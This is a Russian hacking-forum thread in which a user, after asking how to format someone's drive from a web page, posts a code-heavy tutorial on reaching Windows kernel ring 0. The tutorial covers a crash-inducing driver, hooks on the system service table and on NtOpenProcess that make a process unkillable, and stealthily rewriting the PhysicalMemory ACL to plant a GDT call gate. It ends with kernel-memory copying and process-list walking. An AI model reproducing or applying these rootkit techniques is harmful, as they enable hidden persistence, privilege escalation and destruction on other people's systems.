![]() |
|
| Правила Форума редакция от 22.06.2020 |
|
|||||||
|
|
Окажите посильную поддержку, мы очень надеемся на вас. Реквизиты для переводов ниже. |
|
![]() |
|
|
Опции темы | Опции просмотра |
Language
|
|
|
#1
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
да простят меня всемогущие модераторы, только вот в теме поднасрать, был а выдвинута мысль о том, что можно отформатить винт в то время как пользователь читает HTML страницу. Я всю ночь ворочился и не мог уснуть, а если и засыпал то снились кошмары.
Вот что я надумал, есть же у нас ядро системы и нулевой "рубеж", который и контролирует все. А также вспомнилось что есть вири, которое пробираются в это нулевое кольцо, из под которого и начинают творить беспредел, которых трудно вычислить и найти и которых можно "убрать" только запустив антивирь из под другой системы. Так вот, если все таки получить доступ к этому нулевому кольцу? В операционную память загрежено все необходимое чтобы система работала и если получить полный контроль над системой, то винда уже не будет запрещать нам выполнять команду формат, от сюда следует что возможно все таки отфарматить винт из под винды. Только все это теория и мои безумные, безумные мысли, но если есть мысль, осталось найти способ как это сделать))) Что скажете дорогое сообщество? |
|
|
|
| Реклама: |
|
|
#2
|
|
Во времена Windows 98 была команда lock, которая открывала прямой доступ к системному винту, последующая команда format форматировала системный диск, но я попробовал это под XP, это уже не работает!
__________________
Не знаешь - не флуди! ![]() Хороший форум - чистый форум.
|
|
|
|
|
|
|
#3
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
В системах с технологией NT это уже не работает, "окна" стали "Умнее", у меня эта мысль из башки не выходит. Я точно уже знаю что есть такие вирусы, которые получают доступ к нулевому кольцу системы, проверил что действительно в оперативку загруженно достаточно информации чтобы она работала даже при отсутствии самой винды, удалял кучу файлов, системных и прилижений, все равно работает, но при выключении не грузится, осталось только получить доступ к нулевому кольцу, чтобы получить полный доступ к системным файлам. Найти бы еще где исходник этих фирусов, перекопал немеренно сайтов посвященных данной тематике, пока нет. Но как найду обязательно выложу исходный код, один думаю не разберусь
|
|
|
|
|
|
#4
|
|
Evangard, объясни мне смысл создания этой темы
|
|
|
|
|
|
|
#5
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
StreLock,
Я задал вопрос, что по этому поводу думает сообщество, по тому что теоретически это представляется возможным. P.S если тебе не нравится то закрой ее и вычти у меня посты, ты же модератор (только не стоет воспринимать это как грубый тон с моей стороны) |
|
|
|
|
|
#6
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
Код может исполняться на одном из четырех уровней (колец) защиты. Наиболее привилегированным является нулевое кольцо, наименее привилегированным - третье. В нулевом кольце можно все: доступны привилегированные команды, порты ввода-вывода, и вся память. В других кольцах могут быть установлены другие правила: запрет некоторых команд, запрет ввода-вывода и.т.д. Между уровнями защиты можно переключаться только через специальные шлюзы, определенные в системных таблицах процессора (GDT, LDT, IDT). Доступ к памяти в защищенном режиме происходит только через селекторы находящиеся в этих таблицах, а у каждого селектора есть уровень привилегий необходимый для его использования. Подобная система позволяет изолировать код, выполняющийся на непривилегированных уровнях защиты, и полностью контролировать его исполнение с помощью кода нулевого кольца.
В Windows NT используються только два уровня привилегий: нулевое и третье кольцо. В нулевом кольце работает ядро системы и системные драйвера, а в третьем - все запущенные приложения. Привилегированные команды и ввод-ввод для третьего кольца запрещены, для взаимодействия с аппаратной частью компьютера вызываются системные сервисы ядра ОС, которые оформлены как шлюзы. При вызове такого шлюза процесс переходит в нулевое кольцо, и там ядро ОС и драйвера обрабатывают запрос и возвращают результаты приложению. После перехода в нулевое кольцо приложение не может как-либо контролировать свое исполнение, пока управление не будет возвращено коду третьего кольца. Это есть необходимое условие защиты, оно обеспечивает безопасность всей системы. Необходимо четко представлять организацию памяти в Windows NT. В общем виде она выглядит так: Адреса от 0x00000000 до 0x0000FFFF не используются, любое обращение к этим адресам вызывает ошибку. Это нужно для выявления нулевых указателей, так как обращение по нулевому указателю это частая ошибка в программах. Адреса от 0x00010000 до 0x7FFFFFFF представляют пользовательское адресное пространство (User Space), эта область памяти различна у каждого процесса в системе. В ней находятся код третьего кольца и связанные с ним данные процесса. Адреса от 0x800000000 до 0xFFFFFFFF представляют собой область памяти ядра системы (Kernel Space), эта область одна на всю систему, и у всех процессов одинакова. В ней размещается ядро системы, драйвера, файловый кеш, разделяемая память, системные пулы, а также все структуры ядра. Доступ к этой области памяти можно получить только из нулевого кольца, любое обращение к ней пользовательского кода вызывает ошибку. При работе с этой областью памяти следует соблюдать большую осторожность, так как не все исключения, возникающие в ней могут быть обработаны, что может вызвать падение системы. При разрушении памяти пользовательского режима, будет завершен только тот процесс, целостность памяти которого нарушена, но нарушение целостности структур памяти ядра немедленно ведет к падению системы с синим экраном. Методы входа в Ring0 По документации Microsoft для выполнения своего кода в нулевом кольце защиты нам потребуется написать драйвер режима ядра. Но существует еще один способ: через физическую память. В системе есть объект "секция" с именем \Device\PhysicalMemory который представляет из себя отображение физической памяти компьютера. Его можно открыть с помощью ZwOpenSection, после чего можно изменить содержимое системных таблиц (GDT, LDT, IDT) и создать в них свой шлюз, через который можно будет выполнить свой код в нулевом кольце. Существуют также методы перехода в нулевое кольцо путем использования какой-либо уязвимости системы, но так как эти методы работают только с необновленными системами мы их рассматривать не будем. Пишем драйвер Начнем с вполне документированного способа: написания драйвера. Для этого нам понадобиться Visual C++ 6.0 (или позже) и комплект DDK (Driver Development Kit). DDK идет под конкретную версию Windows NT, и раньше был доступен для скачивания с сайта Microsoft, но теперь мелкомягкие стали требовать за него денег. Однако, при большом желании, DDK всё же можно найти. Подойдет практически любая версия. После установки DDK можно приступать к созданию шаблона простейшего драйвера. Файл driver.c : #include <ntddk.h> #include "driver.h" #define DEBUG /* Создаем макрос для вывода отладочных сообщений в случае компиляции с директивой DEBUG */ #ifdef DEBUG #define DPRINT DbgPrint #else #define DPRINT #endif VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { DPRINT("Driver unloaded"); return; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DPRINT("Driver loaded"); return STATUS_SUCCESS; } Функция DriverEntry выполняется при загрузке драйвера в систему, в качестве параметров ей передается указатель на объект драйвера и путь в реестре, по которому этот драйвер приписан пи установке. Следует учесть, что процедура DriverEntry выполняется в контексте процесса System, это может быть немаловажно при написании некоторых специфических функций драйвера. Для компиляции драйвера мы создадим еще несколько файлов: makefile: !INCLUDE $(NTMAKEENV)\makefile.def sources: TARGETNAME=driver TARGETPATH=obj TARGETTYPE=DRIVER C_DEFINES=$(C_DEFINES) X86_CPU_OPTIMIZATION=O2 INCLUDES=C:\WINDDK\2600\inc SOURCES=driver.c RELEASETYPE=DDK make.bat: %SystemRoot%\system32\cmd.exe /c "cd C:\WINDDK\2600\bin\&&setenv.bat C:\WINDDK\2600\&&cd c:\driver\&&build -ceZ&&pause" После этого можно компилировать драйвер запуском make.bat. о том что делать дальше отишу как только сам разберусь Последний раз редактировалось Deementor; 12.12.2006 в 16:46.. |
|
|
|
|
|
#7
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
Итак, код в драйвере выполняется в нулевом кольце защиты и может делать все что угодно, но что конкретно мы можем сделать? Самое простое - убить систему, для этого нужно просто создать необработанное исключение, что немедленно приведет к синему экрану. Например следующий код исполненный в драйвере немедленно валит систему:
__asm { xor eax, eax mov eax, [eax] } Здесь происходит обращение к нулевому адресу памяти, а обращение к первым 0xFFFF байтам памяти является ошибкой, так как эта область адресного пространства специально зарезервирована для обнаружения нулевых указателей. В результате возникает исключение Page Fault, а так как для него отсутствует обработчик исключения, то в результате возникнет синий экран. Поэтому при программировании кода исполняющегося в нулевом кольце следует быть очень внимательным, и в критических местах устанавливать обработчики ошибок. Например в следующем примере возникающая ошибка обрабатывается но синий экран не возникает: __try { __asm { xor eax, eax mov eax, [eax] } } __except(EXCEPTION_EXECUTE_HANDLER) { } Но существует класс исключений не обрабатываемых в нулевом кольце - это например деление на ноль, обращение к отсутствующему участку ядерной памяти, или неверный опкод команды. Также невозможна вложенная обработка исключений, при возникновении исключения внутри обработчика исключения в любом случае получается синий экран. Отладка: При компиляции этого простейшего драйвера нам конечно не понадобиться ничего отлаживать, но в будущем нам понадобиться писать более сложные программы, и несомненно нужно как-то контролировать их исполнение. Для начала весьма удобным средством является вывод отладочных сообщений функцией DbgPrint, в нашем примере для этого даже существует макрос DPRINT, который производит такой вывод только в случае компиляции драйвера в отладочном режиме. Функция DbgPrint полностью аналогична функции printf, тоесть позволяет выводить форматированные строки различными способами. Для просмотра отладочных сообщений удобно использовать утилиту DbgView Марка Руссиновича, которую можно скачать с www.sysinternals.com, также эти сообщения можно просматривать в отладчике SoftIce. Для более серьезной отладки необходимо следить за исполнением кода и иметь возможность вмешиваться в этот процесс, для этого нам нужен отладчик режима ядра. Для этого может подойти WinDBG от Microsoft, он имеет удобный графический интерфейс и прост в использовании, но я рекомендую установить SoftIce, так как его возможности значительно превосходят WinDBG, он имеет мощную систему команд, и при некотором навыке становиться гораздо более удобен в использовании. Я не буду останавливаться на установке и использовании SoftIce, это хорошо описано на www.cracklab.ru. Вызов функции ядра, прежде чем будет передан соответствующей NativeAPI ядра проходит предварительно довольно сложную обработку. Сначала, в третьем кольце вызывается соответствующая функция в Ntdll, где а регистр EAX помещается номер вызываемого системного сервиса, а в регистр EDX - указатель на передаваемые параметры. Затем вызывается прерывание 2Eh (в Windows XP - команда sysenter) и происходит переход процесса в нулевое кольцо, где управление передается согласно записанному в IDT шлюзу прерывания, в этом месте происходит переключение окружения третьего кольца на нулевое, выполняется смена стека на стек ядра, и происходит перезагрузка сегментного регистра FS, который в нулевом кольце указывает на совершенно другие структуры, чем в третьем кольце. Затем управление передается обработчику прерывания 2Eh - функции ядра KiSystemService. Эта функция копирует передаваемые системному сервису параметры в стек ядра, и производит вызов NativeAPI функции ядра согласно содержимому ServiceDescriptorTable. Эта таблица находится в памяти ядра, и представляет собой структуру содержащую 4 таблицы системных сервисов (SST). Первая из этих таблиц описывает сервисы экспортируемые ядром (ntoskrnl.exe), вторая - графической подсистемой (win32k.sys), а остальные две зарезервированы на будующее и сейчас не используются. Формат этих структур следующий: typedef struct _SYSTEM_SERVICE_TABLE { PNTPROC ServiceTable; PDWORD CounterTable; ULONG ServiceLimit; PBYTE ArgumentTable; } SYSTEM_SERVICE_TABLE , * PSYSTEM_SERVICE_TABLE , * * PPSYSTEM_SERVICE_TABLE ; typedef struct _SERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys SYSTEM_SERVICE_TABLE unused1; //не используется SYSTEM_SERVICE_TABLE unused2; //не используется } SERVICE_DESCRIPTOR_TABLE , * PSERVICE_DESCRIPTOR_TABLE, * * PPSERVICE_DESCRIPTOR_TABLE ; Число системных сервисов описываемых каждой SST находится в поле ServiceLimit, поле ServiceTable - указатель на массив содержащий адреса ядерных функций соответствующих экспортируемым сервисам. ArgumentTable - указатель на массив содержащий число аргументов принимаемых каждой экспортируемой функцией (используется KiSystemService при копировании параметров), CounterTable - указатель на массив счетчиков использования каждой функции (этот массив присутствует только в отладочном билде Windows). Из этого следует, что для того, чтобы перехватить какую-либо функцию экспортируемую через этот механизм в третье кольцо мы должны заменить её адрес в соответствующей SST на адрес своего обработчика, но перед этим мы должны сохранить оригинальный адрес функции для её последующего вызова. Сделать это очень легко, так как указатель на SDT экспортируется ядром по имени KeServiceDescriptorTable, поэтому чтобы его получить, мы должны просто объявить внешнюю переменную: extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; |
|
|
|
| Сказали спасибо: |
|
|
#8
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
нас интересует SST для ntoskrnl, для простого доступа к массиву с адресами функций будем использовать следующий макрос:
#define NTCALL(_function)KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function];. Теперь для перехвата какой-либо ядерной функции нам нужно просто создать для нее свой обработчик и заменить адрес в SST следующим образом: NTCALL(fNum) = NewFunction; где fNum - номер перехватываемого системного вызова, а NewFunction - его новый обработчик. Для проверки работоспособности этого способа мы сейчас напишем драйвер перехватывающий функцию NtOpenProcess и запрещающий открытие какого-нибудь процесса с флагом PROCESS_TERMINATE, после чего убить этот процесс диспетчером задач будет уже невозможно. Подобным способом защиты пользуются также некоторые антивирусы. NOD32 Вот полный текст драйвера осуществляющего защиту процесса с ProcessID 2800: можно конечно привести полный текст драйвера, но данный драйвер легко обнаруживается и убивается, по этому: Вот полный код драйвера, он осуществляет перехват непосредственно заменой кода начала перехватываемой функции. Адрес определяется путем импорта его из ядра. #include <ntddk.h> #define DEBUG #ifdef DEBUG #define DPRINT DbgPrint #else #define DPRINT #endif typedef UCHAR (BYTE); typedef BYTE* PBYTE; #pragma pack (push, 1) typedef struct _far_jmp{ BYTE PushOp; PVOID PushArg; BYTE RetOp; } far_jmp, *pfar_jmp; typedef struct _OldCode{ USHORT One; ULONG TWO; } OldCode, *POldCode; #pragma pack (pop) OldCode OpPrcOld; PVOID NewNtOpenProcessAdr; //True функция для перехватываемой функции NTSTATUS TrueNtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL) { ULONG CR0Reg; NTSTATUS Result; POldCode Func = (POldCode)NtOpenProcess; pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess; __asm { cli // запрещаем прерывания mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF // сбросить WP bit mov cr0, eax } // снимаем перехват Func->One = OpPrcOld.One; Func->TWO = OpPrcOld.TWO; Result = NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); //устанавливаем перехват Fnjp->PushOp = 0x68; Fnjp->PushArg = NewNtOpenProcessAdr; Fnjp->RetOp = 0xC3; __asm { mov eax, CR0Reg mov cr0, eax // востановить содержимое CR0 sti // разрешаем прерывания } return Result; } //функция - обработчик перехвата NTSTATUS NewNtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL) { HANDLE ProcessId; //безопасным образом извлекаем ProcessId if ((ULONG)ClientId > MmUserProbeAddress) return STATUS_INVALID_PARAMETER; __try { ProcessId = ClientId->UniqueProcess; } __except(EXCEPTION_EXECUTE_HANDLER) { DPRINT("Exception"); return STATUS_INVALID_PARAMETER; } if (ProcessId == (HANDLE)2800) { DPRINT("Access Denide!"); return STATUS_ACCESS_DENIED; } else return TrueNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); } VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { ULONG CR0Reg; NTSTATUS Result; POldCode Func = (POldCode)NtOpenProcess; DPRINT("Driver unloaded"); __asm { cli // запрещаем прерывания mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF // сбросить WP bit mov cr0, eax } // снимаем перехват Func->One = OpPrcOld.One; Func->TWO = OpPrcOld.TWO; __asm { mov eax, CR0Reg mov cr0, eax // востановить содержимое CR0 sti // разрешаем прерывания } return; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { ULONG CR0Reg; POldCode Func = (POldCode)NtOpenProcess; pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess; DPRINT("Driver loaded"); //устанавливаем перехват __asm { cli // запрещаем прерывания mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF // сбросить WP bit mov cr0, eax } NewNtOpenProcessAdr = NewNtOpenProcess; OpPrcOld.One = Func->One; OpPrcOld.TWO = Func->TWO; Fnjp->PushOp = 0x68; Fnjp->PushArg = NewNtOpenProcessAdr; Fnjp->RetOp = 0xC3; __asm { mov eax, CR0Reg mov cr0, eax // востановить содержимое CR0 sti // разрешаем прерывания } //назначаем процедуру выгрузки драйвера DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } Следует обратить внимание на то, что перед объявлением структур far_jmp и OldCode производится установка выравнивания структур по одному байту с помощью директивы #pragma pack (push, 1), иначе компилятор будет выравнивать структуры по 8 байт, что приведет к неправильному представлению кода в памяти, и драйвер будет ронять систему в синий экран. Запрет прерываний необходим по причине того, что наш поток может быть прерван в момент записи в SST, и в это время другой поток обратится к перехватываемой функции, что приведет к падению системы. Также в некоторых конфигурациях в системы имеется защита от модификации ядерных страниц памяти. Этой защитой управляет WP бит в регистре CR0, если его не очищать перед модификацией памяти ядра, то это может стать причиной нестабильной работы драйвера, на некоторых системах он может работать, а на некоторых вызывать синий экран. Для загрузки драйвера я рекомендую использовать программу KmdManager от Four-F которая входит в состав его KmdKit (пакета DDK для masm32). В состав этого пакета входит еще несколько полезных программ, поэтому всем рекомендую. |
|
|
|
|
|
#9
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
Иногда возникает необходимость производить действия доступные только в нулевом кольце, а использовать для этого драйвер нежелательно или невозможно. Поэтому я опишу еще один способ, который позволяет перейти в нулевое кольцо и работать в нем не используя драйвер вообще. Способ этот основывается на открытии секции \Device\PhysicalMemory и модификации глобальной таблицы дескрипторов (GDT). В GDT добавляется дескриптор шлюза вызова CallGate который указывает на наш код выполняющийся в нулевом кольце. После чего производится вызов шлюза командой длинного вызова CALL FAR, которая изменяет привилегии кода и передает управление нашему коду. Структура описывающая шлюз вызова выглядит следующим образом:
PGateDescriptor = ^TGateDescriptor; TGateDescriptor = packed record OffsetLo: Word; // нижние 2 байта адреса Selector: Word; // кодовый селектор (определяет привилегии) Attributes: Word; // атрибуты шлюза OffsetHi: Word; // верхние 2 байта адреса end; Нужно определить адрес GDT в памяти (с помощью команды SGDT), перевести полученный виртуальный адрес в физический, отобразить данный участок памяти в свое адресное пространство, после чего найти ближайший свободный селектор в GDT и записать туда свой шлюз. Сейчас мы разберем по порядку все эти действия: Открытие памяти: { Открытие физической памяти } function OpenPhysicalMemory(mAccess: dword): THandle; var PhysMemString: TUnicodeString; Attr: TObjectAttributes; OldAcl, NewAcl: PACL; SD: PSECURITY_DESCRIPTOR; Access: EXPLICIT_ACCESS; mHandle: dword; begin Result := 0; RtlInitUnicodeString(@PhysMemString, MemDeviceName); InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE, 0, nil); if ZwOpenSection(@mHandle, READ_CONTROL or WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit; if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit; with Access do begin grfAccessPermissions := mAccess; grfAccessMode := GRANT_ACCESS; grfInheritance := NO_INHERITANCE; Trustee.pMultipleTrustee := nil; Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE; Trustee.TrusteeForm := TRUSTEE_IS_NAME; Trustee.TrusteeType := TRUSTEE_IS_USER; Trustee.ptstrName := 'CURRENT_USER'; end; SetEntriesInAcl(1, @Access, OldAcl, NewAcl); SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, NewAcl, nil); ZwOpenSection(@Result, mAccess, @Attr); SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, OldAcl, nil); CloseHandle(mHandle); LocalFree(DWORD(NewAcl)); LocalFree(DWORD(SD)); end; Следует обратить внимание на то, что нужную нам секцию нельзя сразу открыть на запись, так как полный доступ к ней имеет только система, нужно сначала изменить атрибуты безопасности секции разрешив текущему пользователю открывать её на запись, после чего секцию можно открыть и установить старые атрибуты безопасности обратно (для большей незаметности). Естественно все эти действия можно проделать только имея права администратора. Установка шлюза будет выглядеть так: { Получение физического адреса из виртуального. Действительно только для Nonpaged Memory. } function QuasiMmGetPhysicalAddress(VirtualAddress: dword; var Offset: dword): dword; begin Offset := VirtualAddress and $FFF; if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000; end; { установка калгейта } Function InstallCallgate(hPhysMem: dword): boolean; var gdt: TGDTInfo; offset, base_address: DWORD; begin Result := false; if hPhysMem = 0 then Exit; asm sgdt [gdt] end; base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset); ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE, 0, base_address, gdt.limit + offset); if ptrGDT = nil then Exit; CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset); repeat CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor)); if (CurrentGate.Attributes and $FF00) = 0 then begin OldGate := CurrentGate^; CurrentGate.Selector := $08; // ring0 code selector CurrentGate.OffsetLo := DWORD(@Ring0CallProc); CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16; CurrentGate.Attributes := $EC00; FarCall.Offset := 0; FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset; Break; end; until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset; FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor)); Result := true; end; В этом коде Ring0CallProc - адрес кода который может быть вызван через установленный шлюз и будет выполнен в нулевом кольце защиты. Селектор установленного шлюза будет равен DWORD(CurrentGate) - DWORD(ptrGDT) - offset, смещение неважно. Теперь для вызова нашего кода достаточно выполнить длинный вызов FAR CALL на установленный шлюз: asm db $0ff, $01d // call far [FarCall] dd offset FarCall; // end; Когда необходимость в шлюзе отпадет, то его необходимо убрать с помощью следующего кода: { удаление каллгейта } Procedure UninstallCallgate(); begin CurrentGate^ := OldGate; UnmapViewOfFile(ptrGDT); end; С помощью этого способа можно не используя драйвер исполнять участки кода в нулевом кольце, но применять данный способ весьма нежелательно. Дело в том, что код на который указывает шлюз находится в пользовательском диапазоне адресов, и следовательно для каждого адресного пространства будет различным. Вызывать же шлюзы из GDT можно из любого процесса. Вызов нашего шлюза из другого процеса скорее всего приведет к падению системы с синим экраном, а специально составленный вызов может позволить процессу выполняющемуся с низкими правами поднять свои привилегии. Следует запомнить, что установка пользовательских шлюзов в нулевое кольцо создает в системе серьезную уязвимость, поэтому следует стараться не применять их в своих программах, или хотя-бы быстро удалять шлюз после использования. Подобного эффекта можно также достичь путем модификации IDT и перенаправления вектора какого-либо неиспользуемого прерывания в свой код с последующим вызовом этого прерывания. Последний раз редактировалось Deementor; 14.12.2006 в 15:03.. |
|
|
|
|
|
#10
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
Теперь мы можем не используя драйвер выполнять участки кода в нулевом кольце. Но что мы можем сделать? Работая в драйвере мы можем использовать функции экспортируемые ядром и другими драйверами, и с помощью них взаимодействовать с системой, а здесь наш код лишен такой возможности по той причине, что мы не знаем адреса необходимых нам функций. Также, при работе в драйвере мы имеем другое содержимое сегментных регистров, которое заполняется при выполнении системного вызова, а в данном случае мы имеем те же регистры, что и в режиме пользователя. Поэтому для выполнения каких-либо практических задач с применением этого метода нам нужно получить адреса необходимых нам функций ядра и изменять содержимое регистра FS, через который осуществляется доступ к системным структурам связанным с текущим процессом. В режиме пользователя и в режиме ядра этот регистр указывает на совершенно разные структуры. Для получения адресов API ядра можно использовать следующую методику: загрузить ядро (ntoskrnl.exe) с помощью LoadLibraryEx с установленным флагом DONT_RESOLVE_DLL_REFERENCES в наше адресное пространство, функция возвратит нам адрес MZ заголовка ядра подгруженного в User Space. Теперь с помощью GetProcAddress мы можем получить адрес интересующей нас функции в User Space. Разность адреса функции и адреса подгруженного ядра будет смещением начала функции в ядре. Теперь нам нужно узнать адрес загрузки ядра в Kernel Space и прибавить к нему полученное смещение, и у нас будет адрес нужной нам функции в Kernel Space. Определить адрес загрузки системного модуля в Kernel Space можно путем вызова Nativa API функции ZwQuerySystemInformation с классом SystemModuleInformation, функция вернет нам список загруженных модулей и информацию о них. Для получения адреса загрузки модуля в Kernel Space можно использовать следующую функцию:
{ Получение виртуального адреса для модуля загруженного в системное адресное пространство. } function GetKernelModuleAddress(pModuleName: PChar): dword; var Info: PSYSTEM_MODULE_INFORMATION_EX; R: dword; begin Result := 0; Info := GetInfoTable(SystemModuleInformation); for r := 0 to Info^.ModulesCount do if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName) + Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then begin Result := dword(Info^.Modules[r].Base); break; end; VirtualFree(Info, 0, MEM_RELEASE); end; После чего адрес нужной нам функции ядра вычисляется следующим образом: { Получение адреса ядерной API в системном адресном пространстве. } Function GetKernelProcAddress(lpProcName: PChar): dword; var uProc: dword; begin uProc := dword(GetProcAddress(dKernelBase, lpProcName)); if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase else Result := 0; end; где dKernelBase - адрес ядра загруженного в User Space, KernelBase - адрес ядра в Kernel Space. Теперь, нам нужно получить таким способом адреса всех необходимых функций и сохранить их в глобальных переменных, после чего их можно будет легко вызывать из Ring0 кода. Также не следует забывать а необходимости перезагрузки регистра FS, что делается следующим кодом: { перезагрузка регистра FS и вызов Ring0 кода } procedure Ring0CallProc; asm cli pushad mov di, $30 mov fs, di call Ring0ProcAdr mov di, $3B mov fs, di popad sti retf end; Попробуем теперь найти применение описанной методике. Для начала напишем функцию Ring0CopyMemory, которая будет копировать участки памяти в нулевом кольце, что позволит нам работать с памятью ядра. Но неприятная особенность копирования памяти в нулевом кольце состоит в том, что попытка доступа к невыделенной памяти неизбежно ведет к синему экрану, поэтому перед копированием желательно проверить переданные указатели на валидность. Для этого в ядре существует функция MmIsAddressValid, которая принимает проверяемый указатель, и возвращает в случае валидности указателя EAX > 0, или 0, если память невыделенна. Получим адрес этой функции по вышеописанной методике и занесем его в переменную AdrMmIsValid. После этого функция копирования памяти будет иметь следующий вид: { Копирование участка памяти из 0 кольца. Можно работать с памятью ядра. ВНИМАНИЕ! некорректная запись в память ядра приведет к падению системы! } Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword); var Data : packed record Src: pointer; Dst: pointer; Size: dword; end; Procedure Ring0Call; asm //проверка адресов mov ebx, eax mov eax, [ebx] push eax call AdrMmIsValid test eax, eax jz @Exit mov eax, [ebx] add eax, [ebx + $08] push eax call AdrMmIsValid test eax, eax jz @Exit mov eax, [ebx + $04] push eax call AdrMmIsValid test eax, eax jz @Exit mov eax, [ebx + $04] add eax, [ebx + $08] push eax call AdrMmIsValid test eax, eax jz @Exit //копирование mov esi, [ebx] mov edi, [ebx + $04] mov ecx, [ebx + $08] rep movsb @Exit: ret end; begin Data.Src := Source; Data.Dst := Destination; Data.Size := Size; VirtualLock(Source, Size); VirtualLock(Destination, Size); CallRing0(@Ring0Call, @Data); VirtualUnlock(Source, Size); VirtualUnlock(Destination, Size); end; Также следует обратить внимание на то, что перед копированием делается попытка закрепить копируемые страницы в памяти, так как при их отсутствии, из за того, что переход в нулевое кольцо совершен без уведомления системы и изменения соответствующих системных структур, страничная ошибка может быть неправильно обработана и подкачка не выполнена, что приведет к падению системы. Естественно, после копирования закрепленные страницы следует разблокировать. При применении для перехода в нулевое кольцо шлюза вызова, злоупотреблять этой процедурой не следует, так как при невозможности закрепления копируемых областей в памяти мы можем получить нестабильность в работе процедуры, и как следствие - частые синие экраны. Теперь нам доступна память ядра, попробуем поработать с некоторыми ядерными структурами. Для начала, попробуем получить список всех процессов в системе. Казалось бы, зачем для этого лазить в нулевое кольцо, ведь есть ToolHelp API, которые весьма просты в использовании. Но недостаток перечисления процессов через API в том, что они могут быть перехвачены и процесс может быть скрыт. Сейчас мы попробуем получить список процессов на самом низком уровне - из структур ядра. Каждый процесс в памяти ядра представлен структурой EPROCESS, которая хранит в себе информацию о параметрах этого процесса, а также содержит в себе ссылки на структуры предыдущего и следующего процессов в списке. Эта структура имеет различный формат для разных версий Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только важные её части. Допустим, мы уже получили указатель на структуру EPROCESS интересующего нас процесса, теперь нам нужно извлеч из нее имя процесса, его Process Id и id родительского процесса. Для Windows XP имя процесса находится в структуре EPROCESS по смещению 174h и занимает 16 байт в ANSI кодировке, ProcessId - имеет смещение 84h и размер dword, Parrent Process ID имеет смещение 14Ch. В Windows 2000 эти данные имеют соответственно смещения 1FCh, 9Сh и 1С8h. В структуре EPROCESS каждого процесса содержатся указатели на структуры следующего и предыдущего процессов. Список структур EPROCESS всех процессов в системе начинается с переменной ядра PsActiveProcessesLink, которая ядром не экспортируется, но её можно получить с помощью анализа двухсвязного списка структур EPROCESS. |
|
|
|
|
|
#11
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
